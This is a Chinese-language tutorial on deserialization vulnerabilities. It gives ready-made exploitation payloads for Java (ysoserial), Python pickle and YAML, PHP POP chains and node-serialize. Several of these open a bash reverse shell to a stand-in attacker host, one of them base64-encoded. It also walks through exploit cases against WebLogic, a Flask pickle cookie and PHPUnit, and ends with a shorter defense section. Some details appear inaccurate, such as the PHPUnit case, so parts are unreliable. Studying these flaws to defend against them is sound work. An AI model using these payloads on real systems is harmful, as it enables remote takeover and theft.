反序列化漏洞详解

漏洞概述

反序列化漏洞发生在应用程序将不可信的序列化数据还原为对象时。攻击者可以构造恶意序列化对象,在反序列化过程中执行任意代码。

OWASP Top 10: A08:2021 (Software and Data Integrity Failures)
危害等级: ⭐⭐⭐⭐⭐


常见序列化格式

语言 序列化格式 危险函数
Java Java Serialization, Hessian, Kryo readObject()
Python pickle, marshal, yaml pickle.loads(), yaml.load()
PHP serialize(), unserialize() unserialize()
Ruby Marshal, YAML Marshal.load(), YAML.load()
Node.js node-serialize, funcster node-serialize.unserialize()

漏洞检测

特征识别

# Java 序列化
AC ED 00 05 (魔数)
rO0AB (Base64)

# Python pickle
\x80\x04\x95 (Python 3)
\x80\x03 (Python 2)

# PHP 序列化
O:4:"User": (对象)
a:3:{ (数组)

# YAML
!!python/object
!!python/object/apply

工具检测

# Java
java -jar ysoserial.jar CommonsCollections1 "command" | xxd

# Python
python3 -c "import pickle; print(pickle.dumps(__import__('os').system('id')))"

# PHP
php -r 'echo serialize(new stdClass());'

# 扫描工具
- Burp Suite (Java Deserialization Scanner)
- SerializationDumper
- ysoserial

利用方法

Java 反序列化

// 使用 ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9YWFgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64

// 常见 Gadget Chains
CommonsCollections1-6
CommonsBeanutils1
CommonsFileUpload1
Groovy1

发送 Payload:

# 发送序列化数据
curl -X POST http://target.com/api \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

# Base64 编码
curl -X POST http://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"data":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=="}'

Python 反序列化

# 漏洞代码
import pickle
data = pickle.loads(user_input)

# 构造恶意 Payload
import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))

payload = pickle.dumps(RCE())
print(payload)

# 发送
curl -X POST http://target.com/api \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

PHP 反序列化

// 漏洞代码
$data = unserialize($_COOKIE['data']);

// 构造 Payload
class RCE {
    public $cmd;
    function __destruct() {
        system($this->cmd);
    }
}

$exploit = new RCE();
$exploit->cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'";
echo urlencode(serialize($exploit));

// 输出:
// O:3:"RCE":1:{s:3:"cmd";s:57:"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'";}

POP Chain 示例:

// 利用现有类的魔术方法
class A {
    public $obj;
    function __destruct() {
        $this->obj->execute();
    }
}

class B {
    public $cmd;
    function execute() {
        system($this->cmd);
    }
}

// 构造链
$a = new A();
$b = new B();
$b->cmd = "id";
$a->obj = $b;
echo serialize($a);

Node.js 反序列化

// 漏洞代码 (node-serialize)
const serialize = require('node-serialize');
const user = serialize.unserialize(req.cookies.profile);

// 构造 Payload
const payload = {
    rce: function(){
        require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"', function(error, stdout, stderr) {
            console.log(stdout);
        });
    }
};

// 序列化并发送
console.log(serialize.serialize(payload));
// {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec...}"}

YAML 反序列化

# 漏洞代码 (Python)
import yaml
data = yaml.load(user_input)

# 利用
import yaml
payload = """
!!python/object/apply:os.system
args: ["id"]
"""
yaml.load(payload)

# 或
payload = """
!!python/object/new:os.system
args: ["id"]
"""

实战案例

案例 1: Java WebLogic

# 检测
nmap --script weblogic-t3-info -p 7001 target.com

# 利用 (CVE-2017-10271)
python weblogic-cve-2017-10271.py http://target.com:7001 "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

# 使用 ysoserial
java -jar ysoserial.jar CommonsCollections5 "command" > payload.bin
curl -X POST http://target.com:7001/wls-wsat/CoordinatorPortType -d @payload.bin

案例 2: Python Flask

# 漏洞代码 (使用 pickle 处理 session)
from flask import Flask, request
import pickle

app = Flask(__name__)

@app.route('/profile')
def profile():
    data = pickle.loads(request.cookies.get('profile'))
    return data

# 利用脚本
import pickle
import os
import requests

class Exploit:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))

payload = pickle.dumps(Exploit())
cookies = {'profile': payload}
requests.get('http://target.com/profile', cookies=cookies)

案例 3: PHP Laravel

// CVE-2017-9841 (Laravel RCE)
// 利用 PHPUnit 的 PHP 代码执行

# 生成 Payload
php -r 'echo base64_encode(serialize(new PHPUnit_Framework_MockObject_Invocation_Object("system", ["id"])));'

# 发送
curl -X POST http://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
  -d "O:40:\"PHPUnit_Framework_MockObject_Invocation_Object\":1:{...}"

防御建议

Java

// 1. 使用白名单验证
private static class WhiteListClassLoader extends ClassLoader {
    @Override
    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        if (!name.startsWith("java.") && !name.startsWith("javax.")) {
            throw new SecurityException("Unauthorized class: " + name);
        }
        return super.loadClass(name, resolve);
    }
}

// 2. 使用安全库
// commons-io IOUtils
// Apache Commons Serialization

// 3. 避免 Java 原生序列化
// 改用 JSON (Jackson, Gson)

Python

# 1. 使用安全的序列化格式
import json
data = json.loads(user_input)  # ✅ 安全

# 2. 如果必须用 pickle,使用限制
import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in ["str", "int", "list", "dict"]:
            return getattr(__import__(module), name)
        raise pickle.UnpicklingError(f"Global '{module}.{name}' is forbidden")

data = RestrictedUnpickler(io.BytesIO(pickle_data)).load()

# 3. 使用 yaml.safe_load()
import yaml
data = yaml.safe_load(user_input)  # ✅ 安全

PHP

// 1. 避免 unserialize()
// 改用 JSON
$data = json_decode($json_input, true);

// 2. 使用签名验证
$signed_data = $_COOKIE['data'];
$signature = hash_hmac('sha256', $signed_data, $secret_key);
// 验证签名后再反序列化

// 3. 使用 allowed_classes
$data = unserialize($input, ["allowed_classes" => false]);
$data = unserialize($input, ["allowed_classes" => ["User", "Product"]]);

通用防御

  1. 避免使用原生序列化 - 改用 JSON/Protobuf
  2. 输入验证 - 白名单验证类名
  3. 签名验证 - HMAC 签名防止篡改
  4. 最小权限 - 运行在低权限环境
  5. WAF 规则 - 检测序列化特征

参考链接